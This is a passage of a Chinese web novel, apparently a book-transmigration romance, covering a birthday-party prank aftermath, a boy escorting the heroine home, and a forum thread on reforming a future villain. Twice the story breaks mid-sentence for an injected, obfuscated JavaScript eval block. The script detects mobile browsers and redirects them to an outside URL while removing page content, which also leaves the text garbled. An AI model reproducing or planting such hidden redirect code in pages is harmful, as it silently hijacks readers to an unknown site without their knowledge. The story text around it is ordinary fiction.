脚步声的主人,正是今晚的主角小公主,周雅宜。但她此刻的状态,却跟小公主完全一点儿不沾边。 镶了数十颗粉钻的精美皇冠不知所踪,致辞前让造型师重新打理的编发也松了,左一刺溜右一炸毛,仿佛刚结束了一场枕头大战。 妆也全花了,口红出界睫毛失踪,半截眉毛被蹭上了额头,下眼线却晕到了颧骨,别说,一上一下的还挺对称,不知道的兴许还会以为周雅宜追求的就是这种杀马特风。 但无论是千禧年代还是现在,家长们对于杀马特的容忍度永远都是负数。 就比如此刻,秋文兰收起差点儿掉地上的下巴,一脸严肃地看着女儿,连珠炮般地教训说:“你刚才到哪儿疯去了?怎么把自己搞成这样?!你知不知道在场的都是些什么人!赶紧赶紧跟我去处理一下……” 说着,就要伸要去抓周雅宜。 但周雅宜目标明确,只见她灵活一闪,就躲过了她妈的魔爪,明显有些红肿的眼睛直直盯着温初夏,眼里燃烧着愤怒的火光。 她还这么精致漂亮,自己却跟被炮轰过似的。 回想起刚才自己经历了什么,周雅宜差点儿又哭出来。 在被沙发上的骷髅人吓一跳之后,一群女生着急忙慌想要出去,结果却发现门被锁住了打不开。 紧接着,黑屏的电视机闹鬼般地自动亮起,播的东西不是鬼片,而是鬼片精选片段集锦! 一时间,断肢与眼珠齐飞,鲜血共脑浆一色。 上一秒,贞子姐姐才刚辛辛苦苦爬出井,下一刻,千年古墓的棺材板已然掀翻。 6D环绕音效配合着房间里六七个女生的尖叫,乍一听真跟闹鬼了似的。 如果仅仅这样就完了,那周雅宜还不至于狼狈成这副样子。 但温初夏那个狠毒的女人!居然不知道从哪儿搞来了几个纸扎人脑袋,固定在玩具车上,里面放了彩灯。 鬼片刚放两分钟,一群女生还没稳住心态,就又被在地上横冲直撞还带变色的人头吓得四处逃窜。 接着,房间的灯光也跟着变了,从哇绿哇绿变成了哇蓝哇蓝,映照出白墙上用特殊漆料绘制的—— 鬼脸。 是真的鬼的脸,不是欠打的那种。 可能是胆小人有胆小福吧。 由于周雅宜从一开始播鬼片集锦的时候就当机立断闭眼蹲下,捂住耳朵放声尖叫,所以她的情况算是所有人中比较好的,只是妆哭花了而已。 最惨的是苏筱筱和李书雪,纸扎人头似乎格外喜欢她俩,追得她们先是满房间分头乱窜,然后再手拉手一起逃命。 最后也不知道是谁脚滑了一下,两人加起来能有25年的芭蕾功底硬是给了她们创造了五秒的挣扎抢救时间。 但最终还是很遗憾没能抢救成功,二人双双掉入客厅外的mini泳池。 直到现在她们都还瑟瑟发抖地裹着浴巾,在楼下套房等人送衣服来呢。 不用猜也知道,这一切,肯定都是温初夏搞的鬼! “温、初、夏。” 周雅宜拖着因尖叫过度而变的嘶哑的嗓音,恶狠狠地盯着温初夏。 她已经出离愤怒了,她觉得自己这辈子没受过这么大委屈。 整人反被整,周雅宜可以自认倒霉,毕竟一开始苏筱筱提出这个整蛊idea的时候,她就觉得有些过分,几次三番想阻止,但又说不出口。 可她没想到,温初夏居然会比她们还要过分一百倍! 天知道她有多么怕鬼!温初夏怎么能、怎么敢这么对自己?! 温初夏看周雅宜这副快要失心疯的样子,心里也有些惊异:吓成这样?早知道就不加那个纸扎人了…… 正要开口说话,忽然,身边的林茵陈挽住了她的手臂,对一看就来者不善的周雅宜温和地说:“雅宜,阿姨在和初夏聊天呢,你有什么事吗?” 噗—— 刚喷出的火猝不及防被水浇灭,冒出一缕外焦里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501996|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫩的青烟。 周雅宜清澈的目光定格在两人紧贴着的胳膊上,觉得这个世界好像魔幻了。 之前在化妆间的时候,妈妈就说林茵陈特别喜欢温初夏,和她一见如故,还认了她当干女儿…… 这事儿、不会、是真的吧??! 周雅宜整个人如遭雷击,精神恍惚。 她打小就喜欢时准,自从在9岁那年许下了长大一定要嫁给时准的人生愿望之后,就一直暗地里把林茵陈当成未来的准婆婆对待。 现在你告诉她,温初夏成了她未来婆婆的干女儿? 那她应该叫温初夏什么? 姐?! 不行,绝对不行,她是打死也不会叫温初夏这个恶女人姐姐的! 周雅宜心中翻江倒海,偏偏脸上还得费劲地挤出一个微笑,借口道:“阿姨,我有事想跟温同学说,能让她和我先出去一下吗?” 林茵陈的表情却变得迟疑,明显是不愿意。 今晚之后,也不知道什么时候还能再见到温初夏,虽然是认了干女儿,但她总不能有事儿没事儿把人家正在读高二的小姑娘请去家里吃饭吧? 这么优秀又努力的孩子,影响到她学习就不好了。所以林茵陈现在一秒也不希望温初夏离开。 她问:“什么悄悄话啊?不能当着我们长辈的面说吗?” 周雅宜没想到林茵陈喜欢温初夏已经到了这种地步,看的比金元宝还紧,立马急了:“我……” 忽然,温初夏抬手,轻轻抚上了周雅宜惨白的脸颊。 瞬间,周雅宜仿佛被施了定身咒,呆呆地看着温初夏一脸关怀备至地对自己说: “雅宜,你看看你,妆都花成这样了,今晚的寿星小公主怎么能以这种形象见人呢?还是先去补补妆吧,有什么事一会儿咱们再说好吗?不着急的。” 这话讲的体贴漂亮,不知道的,还以为温初夏是真为她好呢。 周雅宜的脸色由白转红,又由红转青,是有火不能发给憋的,她正考虑要不要直接拉着温初夏就往外跑,结果她妈秋文兰比她先一步行动。 周雅宜再一次成了被拉的那个。 秋文兰边走边低声教训她:“你自己数数,你今晚玩失踪多少次了!我之前是怎么和你说的?今晚你是全场的焦点,一定要注意维持好形象,多和在场来宾走动走动关系,对你只有好处没有坏处……” 林茵陈拉着温初夏又说了一个多小时,聊的全是长辈最爱的家常话题,比如温初夏喜欢吃什么玩什么,平时生活作息规不规律,饮食习惯健不健康,最近有没有头疼脑热之类的。 温初夏全程有问必答,都不用费心思地特意讨巧卖乖,林茵陈就已经表现得特别高兴了。 最后还是温初夏看时间不早,都快十点了,一下子刷脸刷太过也不合适,于是就说自己要回去了,不然家门口那条小巷她一个人走着害怕。 林茵陈这才作罢,表示想让自家司机先送温初夏回家,然后再送自己回去,这样两人还能在车上再多相处一会儿。 但温初夏婉拒了。 “不用这么麻烦阿姨,我提前预订了网约车来接我,您也不用担心,我住的那块儿治安挺好的,就是夜深的时候稍微黑了点儿。咱们走吧,我送您到楼下。” 送走依依不舍的林茵陈后,温初夏去问前台之前自己随手扔给服务生保存的貂在哪儿,在等待工作人员把衣服拿下来的期间收到了司机的短信,说车已经在大堂外等着了。 今晚穿高跟鞋站的时间稍微有些长,脚有点超负荷,温初夏左右看了眼周围没什么人,就换了个懒散的站姿,左腿站岗右腿放哨,单手打字回复“知道了,我很快出来”。 结果一放下手机,就对到了周雅宜愤怒的眼睛。 “温!初!夏!” 哦豁,还是没躲过。 温初夏拔腿就跑。 她这边一跑,周雅宜那边就立马开追,而且一边追还一边大喊大叫,把秋文兰一晚上反复灌输的淑女做派全抛到了九霄云外。 “温初夏你给我站住!你死定了我告诉你,房间里那些乱七八糟的东西是不是你弄的?是不是?!你站住!问你话呢!” 温初夏又不傻,怎么可能乖乖听话,闻言跑得更快了。 两人你追我赶了一段,很快,温初夏就发觉右腿有些吃不消,如果一直在大厅这种空旷的地方跑的话,不仅傻逼,自己也很快就会被逮到。 所以,在绕了两圈之后,她当机立断,闪身拐进了一条走廊。 这家酒店楼型设计得比较有艺术气息,连带着内部构造也有点四通八达九曲回肠那味儿,初次来这儿的人,很可能会误以为自己进了迷宫。 虽然每隔一段距离就有平面图,上面清楚地标注了每个房间的位置和编号,但周雅宜是要抓人又不是抓房间,所以在不小心跟丢之后,她赶紧拿手机给苏筱筱打电话,叫她们快下来一起堵人。 这要是再让温初夏跑了,周雅宜觉得自己真有可能在十六岁生日这天被活活气死! 电话拨打五秒后,接通了。 “喂少爷。” “潘叔。” 时准站在酒店一层的男卫生间,把刚洗过的左手又放在水龙头下冲了冲,说:“宴会结束了,你可以把车开过来了。” 电话那边安静了两秒,随即响起司机潘达不好意思的声音: “抱歉啊少爷,我跟夫人都以为你已经回去了,所以走的时候就没问您……我们这边儿已经上路十来分钟了,要现在折回去接您还是?” 这话虽然是对时准说的,但潘叔却回头快速地看了林茵陈一眼,小声叫了声“夫人”,意思是征询她的意见。 “去接吧。” “那算了。” 母子俩的声音一同响起。 林茵陈微怔。 时准:“时间不早了,妈妈平时都是十一点前睡觉的,再说太晚回去的话爸爸也会担心——你们先回吧,我自己叫车就行。” 潘达:“好,那少爷你注意安全。” “嗯,知道了。潘叔你开车也注意安全,车速别太快。” 叮嘱完,时准想起件事,又补充道:“妈妈她不喜欢现在车里的香薰,说闻着有点头晕,还是换回之前那个吧。” “诶,好。” 挂了电话,时准把手机放进裤兜,扯了张纸巾,慢慢擦拭水淋淋的左手。 这时,厕所里某个隔间门打开了。 听到声音的时准没太在意,把半湿的纸团扔进垃圾桶,正要离开,背后居然响起了高跟鞋踩地的咚咚声。 时准猛然回头,只看见温初夏站在两排厕所隔间之间,举起一只手,声音轻轻地和他打招呼:“嗨?” 时准:“……” “哈哈,好巧啊。”她又说。 “……” 这确实是男厕,对吧??! 6. 第 6 章 沉默中,时准倒退出卫生间,在确定门口的标识确实是男性后,松了口气,又进去。 “你怎么会出现在这儿?”他问。 温初夏放下手,耸耸肩:“被人追杀。” 她语气轻松,并没有一丝被追杀的慌乱。 但,也不像是在说假话。 时准觉得她应该是在开玩笑,尽管玩笑并不怎么好笑,却还是礼貌性地勾了勾唇,问:“谁想杀你啊?” “还能是谁啊。” 温初夏堂而皇之地站在原地没走动,郁闷的话说得理直气壮:“你青梅竹马的好妹妹周雅宜呗。我跟她聊崩了,她好像更生气了。” 时准微微挑眉,有点惊讶。 在他眼里,周雅宜虽然是有些大小姐脾气,偶尔任性妄为,但却特别容易心软,只要别人稍一示好,她基本上就不会再为难对方了。 “你们还没和好吗?要不我帮你去和她说一……”他好心道。 “诶别别别,不用了。” 温初夏赶紧拒绝。 你去找她说?那我不就穿帮了吗。 “我们女生的事儿你们男的别管,越管越乱。” 见她一副很苦恼的样子,时准没再坚持,又问:“那你打算在这里躲到什么时候?时间不早了,公交地铁应该也都停了,你打算怎么回家?” 温初夏耷下眼皮:“不知道。” 本来司机都已经到门口了,谁知道周雅宜会忽然窜出来啊,害自己在逃跑过程中不小心崴了脚,还特么是右脚! 温初夏可不敢让司机知道这事儿,不然明天自己的电话绝对会被打爆,所以就谎称自己临时有事,让他先回去了。 “要不……”温初夏抬眸,看着时准,“你能送我回去吗?我脚崴了,住的地方又不是电梯房,我一个人上不去。” “你脚崴了?什么时候崴的?严重吗?” 时准算是明白她为什么站在那儿一动不动了,合着不是凹造型啊。 担忧的目光下意识落到她的脚上,紧接着又反应过来这样盯着女孩子的脚看很不礼貌,所以立马移开了。 他耳廓微红,转身说:“那我去外面让人给你先拿双拖鞋……” “嘘——” 忽然,温初夏表情严肃地比了个噤声的手势。 时准立马闭嘴。 厕所外传来周雅宜和苏筱筱的声音—— “温初夏她到底跑哪儿去了?整个一层都被我们找遍了,还是没看见啊。难道一个大活人还能凭空消失不成?” “我觉猜她多半已经走了吧?哼!算她运气好跑得快,等周一开学了再找机会教训她。” …… 重叠的脚步声渐行渐远。 等到那俩已经走到听不见厕所声音的距离,时准才问:“发生什么了?她们为什么说要教训你啊?” 温初夏一脸无奈:“都说了我和她聊崩了嘛……” 时准却不太能理解:“聊崩了也不至于说要教训你这种话啊……雅宜真是,年龄越大,脾气也越来越大了。” 但温初夏对他的理解能力表示赞美。 “你别担心,回头我去和她说说,雅宜这人其实挺刀子嘴豆腐心的,既然你是诚心想和她道歉,那她就不会和你动真格。”时准道。 温初夏:“……” 可我已经和她动真格了。 温初夏尴尬地抬头想看天,结果却只看到了男厕安装了排风设备的天花板。 “你站那儿别动,我去给你拿拖鞋。” 说完,时准拿起洗墩布的水槽旁边“正在清理”的黄色告示牌,放在门口,出去了。 不到五分钟,他就又回来了,手里拿着双酒店拖鞋,撕开包装袋后弯腰放在温初夏脚边,让她扶着自己换鞋。 两人面对面站着,中间就隔了一双拖鞋的距离。 温初夏微微低头,两手提着裙摆,耳后一缕不听话的长发因为低头的动作掉出来,垂在颊边,黑亮柔滑,颜色深的如同刚刚研磨出的墨汁,衬得肤色更加雪白。 发丝之后,是脖颈和锁骨,前者白皙如玉段,后者精巧如浅潭,可以说是美不胜收。 本来温初夏是想靠自己努力不碰时准的,但厕所的地面有些滑,她刚抽出一只脚就觉得浑身晃悠,于是赶紧把手搭在对面人的肩上。 温初夏的手,手掌小,但指节长,没有做美甲的甲面素净圆润,呈现出自然健康的木槿粉。 被这样漂亮的一只手握住肩膀,时准只觉得自己身体里的每一个细胞,都在跟随心脏疯狂跳动。 哪怕隔着衣服,他也能清楚地感知到,隐藏在皮肉之下每一块细小的骨骼。 心尖痒痒的,想挠却不知道从何下手。 直到温初夏换好鞋,时准才发现了一个问题—— 刚才应该顺道再让前台拿个袋子的,不然这双高跟鞋要怎么带走?直接用手拿好像有点难看啊…… 温初夏也意识到了这一点。 她盯着地上一只倒一只立高跟鞋,两秒后,直接把鞋拎起来,推开左边的厕所门,扔进角落的垃圾桶里。 “不要了?”时准有些吃惊。 “嗯,拿着麻烦,反正又不会穿第二次了。”说完,温初夏一瘸一拐地去水池洗手。 虽然时准对奢侈品并不热衷,但身为时家少爷,母亲林茵陈又是个对吃穿用度要求极为苛刻的人,从小耳濡目染,市面上稍微出名点儿的奢侈品牌他都认识。 温初夏扔掉的高跟鞋鞋底是红的,看颜色和材质,应该来自于ChristianLouboutin,他家就是以红底鞋闻名的。 这个牌子的高跟鞋林茵陈也有几双,每次穿出门几乎都是去出席一些重要场合,日常她还是更喜欢穿平底鞋,舒服、不磨脚。 温初夏家里不是很困难吗,怎么能随随便便就把这么贵的一双鞋给扔了? 还是他看错了,这鞋根本就不是CL的,而是仿版? 大概是有点儿嫌弃男厕,温初夏把手淋湿后,接了好几遍洗手液,用七步洗手法搓出丰富的泡沫,不知道还以为她是在为进手术室做准备。 时准走到她身后,不太熟练地打开手机里八百年用不了一回的网约车APP,点击目的地的输入框,低头问:“你家住……” “嗯?!!” 时准闻声立刻抬起头,和温初夏明显有些惊讶的眼神对接。 四周十分安静,只能听见排风系统嗡嗡的运作声。 “……怎么了?” 时准拿着手机,被她瞪得滴溜圆的大眼睛震住了,有点摸不着头脑。 温初夏还是用一副惊疑不定的表情看着他,眉心深折,像只受了惊的炸毛小猫,慢慢问:“你刚才,是在从镜子里面看我吗?” “没有啊。” 时准无辜地眨眨眼睛,又举了举手机,“我刚才一直看手机呢,没看镜子也没看你。” 温初夏:“……” 撞鬼啦? 刚才她冲水的时候无意识抬了一下眼,发现镜子里时准的倒影正紧紧地盯着自己。 漆黑的瞳孔,目光又深又沉,如果要将这道目光化作实质,那温初夏能想象到最贴切的画面,就是一座千斤重的铁笼缓缓坠入无边深海。 无声无息,却又无法阻挡。 鬼片都没有这恐怖好吗? 但时准的反应又不像是在撒谎,并且也没必要撒谎,温初夏满肚子狐疑,又回头去看现在镜子里他的样子—— 清晰俊秀的五官,配上一身笔挺的米白色西装,黑发浓眉挺鼻薄唇,风度翩翩温润如玉,浑身上下无论是外貌,还是气质都十分讨人喜欢。 半点儿没有刚才的压迫感,和森冷气息。 “那应该是我眼花了吧……”温初夏讪讪一笑,心里暗骂自己真是太紧张了,低头继续冲水。 …… 半小时后。 网约车停在居民区昏暗的巷子路口。 前半段是平路,所以温初夏没让时准扶,两人都打开了手机的手电筒,并排走在安安静静又灰扑扑的小巷里,漂亮精致的形象与这里十分格格不入。 时准很少来这种地方,好奇但不好意思表现出来,只能隐晦地四处打量。 刷了白漆的墙面经过多年的风吹雨打和人为因素被蹭掉了不少墙皮,变成了凌乱的灰黑,路过的电线杆子上贴满了各种红底黄字或者白底蓝字租房小广告。 这一片的楼房普遍不高,巷子也窄,并且许多楼前还加装了电梯,看着就更逼仄了。 今夜月明星稀万里无云,很适合赏月。 但当时准抬头,却发现在围墙、雨棚、电线、以及挂满衣服的晾衣绳的阻挡之下,浩大无边的天空被切割成小小一块,连月亮都看不到。 “怎么,下雨了吗?”温初夏随口问。 “啊,没有没有。”时准赶紧平视回前方,心里想的却是:她居然住在这种地方啊…… 二人停在一栋楼前,温初夏拍了下手,一楼的声控灯应声亮起,乳白色的灯罩外吸附了一层薄灰,透出的光线并不明亮,电线和天花板之间连接着细密的蛛网。 温初夏侧目看向时准,问:“你抱得动我吗?用抱还是用背的?” 她声音清清亮亮,目光坦然直白,半点儿不害羞,倒莫名弄得时准有些不好意思。 “你不觉得现在才问这个问题,有点太晚了吗?” 嘴上这么说,身体倒是很诚实,时准把手机关了放兜里,往左走一步,向温初夏伸出手。 “抱吧。”他说,“你穿着裙子,背的话不方便。” 温初夏配合地圈住他的脖子,整个人被打横抱起。 虽然能感觉到搂在自己膝盖和后背下的手臂很有力,但她还是有点不放心,嘀咕道:“你走慢点啊,别把姐姐我摔了。” 时准本来正准备上楼,一听“姐姐”两个字立马又定住,看着她:“谁是你弟弟?” “你啊。”温初夏仰了仰脖子,理直气壮:“你妈妈都认我当干女儿,我不是你姐姐是什么?” 时准迈开步子:“她认又不是我认,我才不要当你弟弟呢。” “别这么快拒绝嘛。” 温初夏笑的像狐狸:“我跟你说,当我弟可是很幸福的哦!从此以后,我的笔记都借你看,作业都借你抄,如果你也想当年级第一的话,那这次中期考我数学和物理的最后一道大题就空着……” “越说越离谱了。”时准笑着打断她。 两人在沉默中从二层上到三层,温初夏又拍拍手,暖黄的灯光赶走黑暗。 冷不丁的,时准问:“你知道为什么我妈要认你当干女儿吗?” 温初夏懂装不懂:“为什么?” “因为你长得很像我妹妹,她早在十年前就出车祸去世了。妹妹的死,是我们全家人心里永远解不开的一个结,特别是我妈。” 时准语气格外平静,让人辨认不出他到底是冷漠,还是哀伤。 “刚出事的头些年,每年冬天,我妈都会去市里大大小小的福利院看一圈,想找和时淼长得稍微相似的小女孩带回家养,但一直没遇到满意的,久而久之,就逐渐放弃了。” “所以她今天见到你才会那么高兴。” “谢谢你,温初夏,你让我妈妈圆梦了。” “不客气。我其实也没做什么,就是陪阿姨多聊了会儿天而已。” 圆满完成任务的温初夏高兴地翘了翘小腿,又开起玩笑: “早知道你妈当年有这意图,我就应该在那个时候离家出走,假装自己是没人要的孤儿住进福利院守株待兔,轻轻松松傍上大款。” 闻言,时准只是笑了一下,没再说话。 到了四楼,温初夏让时准放她下来,指纹解锁打开门,靠着门框说:“现在时间不早了,我就不请你进屋坐了。” 时准看到门口的地毯上只有一双拖鞋,旁边的四层塑料鞋架只用了最上面的两层,里面放着的鞋看起来也都是温初夏这种年纪的女生会穿的款式,于是问: “你平时是一个人住吗?” “是啊。”温初夏抱起胳膊,吊儿郎当地说:“我爸搞外遇,和我妈一见面就吵架打架闹分家,我嫌烦,就搬出来了。自给自足,图个清静。” “……” 时准没想到她的家庭状况这么糟糕,一时间有些后悔刚才多的那句嘴。 “欸,你这什么眼神啊?”温初夏察觉到了,抱起胳膊一动不动地看着他,那双眼睛虽然还是笑意盈盈的,里面的温度却明显有些下降,“觉得我可怜啊?没必要,也不需要。” “我没……” 被戳穿心思的时准有点不好意思,他微微低头,摸了摸后颈,道:“抱歉啊。” 他知道,骄傲的人最讨厌的,就是得到别人的怜悯。 “你好心送我回家,我还没谢谢你呢,你倒先倒上歉了。”笑意一下子又暖了回来,语气十分不在意。 温初夏心想:果然还是小男孩啊,真好逗,一逗就耳朵红。 时准又放下手抬起头:“不客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501997|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 倒挺会顺着台阶往下走。 温初夏轻轻“哼”了声,转身说: “你先等等啊,今天周雅宜生日,我忘了准备礼物给她,但既然生日宴会都去了,不送个礼物好像有点儿说不过去,我现在给她找一个,你回头替我送给她吧。” 时准乖乖站在门口等。 很快,温初夏就拿着东西从房间出来,递给时准:“就这个,麻烦你帮我转交一下。” 时准看着手里的书,是一本偏薄的童话故事集,硬纸板做的封面上是花里胡哨的卡通图案,一看就是给小孩子看的。 并且书的四个角都有轻微磨损的痕迹,肯定不是最近新买的。 再翻过来一看价格。 29.9。 “……” 时准沉默两秒,然后滴水不漏地答应说:“好,我帮你送给她。” 送走时准喊后,温初夏拿着板凳去卫生间坐着洗了个澡,然后就坐在床上和粉团子复盘聊天—— “你说我又没有可能阻止时准黑化啊?” 她在给右脚脚踝抹药,红肿的肌肤一片冰凉。 “我今天第一次和他见面,发现他目前的人设跟《等风》里一毛一样,特别阳光开朗正能量,我完全想象不出他要是黑化了会成什么样。” “按理来说是可以的。” 粉团子说:“穿书局经营着成千上万个界面,每年都有不少原本是反派的角色,因为守护者的介入而意外转正洗白。” “虽然这样做可能会影响到剧情线的正常发展,但只要控制好度,别让剧情线跑偏太多,就不会对界面的稳定性产生太大影响,不过……” 粉团子话没说完,但温初夏也知道她想表达的是什么。 自己所处的这个界面本来就是三本小说融合出的杂交产品,目前尚且处于崩溃的边缘没有脱离危险,最好不要以身试险。 但头号危险分子温初夏很心动。 温初夏没有和自己的小客服说她的想法,倒不是怕她知道了会阻拦,而是因为自己在“让反派改邪归正”(没错,时准在她心里就是反派)这方面的经验不多,对于没有十足把握的事,温初夏一向不喜欢四处宣扬。 熄灯睡觉后,温初夏的意识进入了守护者论坛,发了个求助帖—— 【组团炸系统】:求助!请问要如何阻止目前还是善良小绵羊的反派走上黑化的不归路?求经验分享!(意见若采纳感恩66点经验值) 1L:我靠!楼主好豪横啊,66点经验值要做一个女/男五任务才能赚到呢,本菜鸡没经验就是路过抱一抱土豪大佬的大腿(^з^) 2L:组团+1,我也想炸了这个b系统[微笑] 3L:组团+2 …… 7L:这题我能答!我之前做某次女四任务的时候就遇到了类似的情况,但不是有心为之的,是意外。 那个界面的反派是个没爹没娘的孤儿,小时候被关在类似于斗兽场的地方天天被人打,我那时在斗兽场当半吊子医师,出于同情帮他认真疗了下伤,没想到间接导致他提前出逃。 挨的毒打少了,反派心里对世界的怨恨也少了,所以最后就没黑化。但剧情线没反派推动走不了,于是系统就让原本该和我组cp的男四填了反派坑,我真服了[微笑] 温初夏立马给7楼私发了66点经验,又在楼里问:我可以理解为,阻止反派黑化的方法之一是让他少吃苦吗? 对方很快回复:嗯嗯!是这样的没错!反派很少有天生坏种的,绝大部分都是因为曾经经历过太多痛苦和磨难,心理扭曲才想着整天搞事。 你面对的那只如果还处于小绵羊阶段的话,那一定要早点下手,保护关爱开导一条龙服务,特别要注重TA的心理健康,有心结帮TA解开心结,有遗憾帮TA弥补遗憾,这样应该就十拿九稳了。 13L:楼主面对的反派是大BOSS还是小小怪啊?如果是大BOSS的话,阻止TA黑化是绝对会扰乱剧情线的,望慎重哦。 温初夏回复:谢谢提醒,但我现在所处的界面有些混乱,目前还没法判定对方以后的人设会歪成什么样,只能先走一步看一步吧。 …… 32L:改造反派?楼主一定要谨慎谨慎再谨慎啊! 我之前有一次就是同情心泛滥,看到幼年期的BOSS太可怜,所以就帮了他点儿小忙顺道安慰了一把,结果这货直接缠上我了!反派该做的事情他一件也没做,严重脱离原剧情线,界面差点就崩了。 我没办法,只能代替他成了反派T_T,最后任务结算,我因为差点引起界面崩溃和严重违反人物设定,一分经验值也没捞到。 温初夏也给她私发了66,回复:抱抱,系统就是不干人事,你明明没有功劳也有苦劳啊。 …… 59L:哇,大半夜的好多人啊,而且炸出了好多大佬,我直接一个顶礼膜拜[星星眼] 60L:斯密马赛我歪个楼哈,我看楼主回复13楼说你所处的界面比较混乱,盲猜楼主你不会就是前几天那个穿越遇到系统bug的大佬吧? 温初夏奇了,心想:这事总部难道不该当做重大失误遮掩起来吗?怎么其他守护者也知道了? 但既然这事都能拿到论坛里说,那温初夏也没必要遮掩,她直接回复60L:是啊,你们是怎么知道我这边出bug的? 60L:我靠大大真的是你啊!实不相瞒,我刚从亲友那里要到《准时说爱你》无删减版txt看完,现在隔着网线见到你本人,忽然有点不好意思是怎么回事\(//??//)\ 61L:哈哈哈哈哈这是什么名场面啊!刚看完小黄文,转头就遇到主角本人了。 ……其实实不相瞒我有好几个朋友也想看,楼上能不能好心分享一下(对手指) 62L:我天这是什么特别的缘分,我刚才就正在看《准爱》hhhh! 不得不说作者文笔真的超好,肉写的肥而不腻,男二私设也超对我胃口,病娇男鬼,身材巨顶,猿臂狼腰,191/25,懂得都懂。 炸系统,你要性.福了!!! 温初夏懵:“……” 刚刚那是什么脏东西?你踏马的还好意思押韵?!押你二舅姥爷的鸡蛋花! 更重要的是,《准时说爱你》究竟是怎么流传出去的?!看这架势好像半个穿书局都知道了啊喂! 网管呢?网管在哪儿? 我要举报,有人涉黄!快来把他们通通抓走!!! 7. 第 7 章 碧湾区别墅群。 半夜11点45分。 即将凌晨,天幕深沉的仿佛浸透了黑墨水的泡沫板,夜色裹挟着咕咕虫鸣,因为每栋别墅都间隔了一定距离,所以这里很安静,但也不是完全寂静,一道被刻意放轻的“咔哒”开锁声在寂静的夜中并不明显。 推开门后,时准动作静悄悄地换了鞋,轻手轻脚地走出玄关,却发现客厅的灯是亮的。 已经脱下应酬的礼服,洗漱完毕身着居家服的林茵陈独自一人坐在沙发上,看样子应该是在等他。 “妈。” 时准把童话书放在玄关的柜子上,走到她身边坐下,关切地问:“这么晚了,怎么还不休息啊?” “你坐过来点。”林茵陈拍拍身边的位置,温柔的声线略显疲惫:“妈有话想和你说。” 时准听话地往右挪了挪:“嗯,您说。” 林茵陈用一种小心翼翼,又有些紧张的眼神看着他,低声问:“今晚,你是真的没生气吧?” 时准微愣,反应过来她指的是什么,忙宽慰一笑:“真没生气。妈,只要你高兴,我就也会高兴。你今天见到温小姐那么开心,我当然也开心了,怎么会生气呢。” 听他如此保证,林茵陈悬着的心才终于彻底放下来,微笑着对他说:“阿准,今天你赵阿姨说的没错,我能有你这么懂事的儿子,真是上辈子修来的好福气。” 不止林茵陈,时准也经常收到类似的夸奖,说他早熟懂事听话,是典型的别人家的孩子,说真的,他都快听腻了。 “能当妈妈的孩子,也是我的福气。” 时准语气平缓,目光不可谓不真诚。 林茵陈一脸欣慰地拍拍他的肩膀,又道: “对了,今天我和初夏聊天的时候,听出她家情况好像不太好。你和她是一个学校的同学,你帮妈妈想一想,如果我想资助她的话,该怎么和她开这个口呢?是不是该先联系她的班主任?或者……” “妈。” 时准打断母亲:“温初夏她虽然家里条件不行,但人家成绩很好,学校每年给她发的奖学金差不多有四五万呢,还免学费。她这样骄傲的人,在能自己养活自己的情况下,应该是不会接受别人的资助的。” “这样啊……” 林茵陈点点头,神情明显有些失望。 接着,她又问:“那你知道初夏她能拿到奖学金的条件是什么吗?是不是要一直保持年纪第一啊?” 时准想了想,回答:“我记得学校好像是有一个专门只发给年级第一的奖学金,但具体数额是多少我也不清楚……” “阿准呐。” 林茵陈的目光忽然变得更加慈爱,试探地问:“妈妈记得,你上学期期末考,是得了年纪第二,对吧?” 时准迟疑的:“……嗯。” 他已经猜到母亲接下来想说什么了。 果然,下一秒,林茵陈就对他动之以情道:“虽然当妈的肯定是希望自己的孩子能够更加优秀,但你出生在我们这样的家庭,已经比初夏她要幸运不知道多少,所以……” 时准真想闭眼叹口气,但他忍住了。 “我知道了妈妈。”时准内心无奈,可还是温顺地点点头。 “我不会和温初夏争年级第一的。再说了,她成绩真的很好,我就算想争也争不过。”他嘴角扬起一抹苦涩的弧度。 上学期期末温初夏总分甩他27分,差不多就是一道数学大题+物理大题的分数。 这下,林茵陈终于满意了,就连笑容也比刚才的轻松许多,道:“有你这句话,妈妈也就放心了。明天星期天你不用上学,我亲自下厨给你做饭吧。想吃什么,跟妈妈说,明天一早我就和薛阿姨一起买菜去。” “等明天吃早饭的时候再和您说吧。”时准催促道,“现在该休息了。” 话音刚落,林茵陈就应景地捂嘴打了个哈欠,动作很优雅,她站起来说:“那好吧,你明早再告诉我。” 时准也跟着站起来,他先送母亲上楼进了主卧,然后又下来拿走柜子上的童话书,回了自己房间。 洗漱完,已经是十二点半了。 时准坐在床边,拿起这本单薄又有年代感的童话书,随便翻开一页,当睡前故事读了起来。 果然是给小孩子看的,时准连读了几篇,都是语句简单情节雷同,大概内容为某某国的公主爱上了某某国的王子,在经历了一些磨难后,两人终于成功举办婚礼,永远幸福地生活在一起。 卧室的主灯没开,只有床头柜的小夜灯亮着,时准半个脑袋陷入柔软的枕头中,轻轻打了个哈欠,眼尾湿润地翻到最后一篇。 这回终于不是公主和王子了,而是公主和骑士。 角色的转变让时准稍微提了一点兴趣,阅读速度从之前的一目十行,变成了一目一行。 他把书靠在堆叠的被子上,节骨分明的一双手夹着书的两侧,干燥柔软的指尖轻捻页脚。 旁边小夜灯冷白的光线照进眼底,尽数化作温柔的流光,也给他安静的侧颜上了层细腻柔滑的釉,如果仔细观察,还能看清脸颊的细微绒毛。 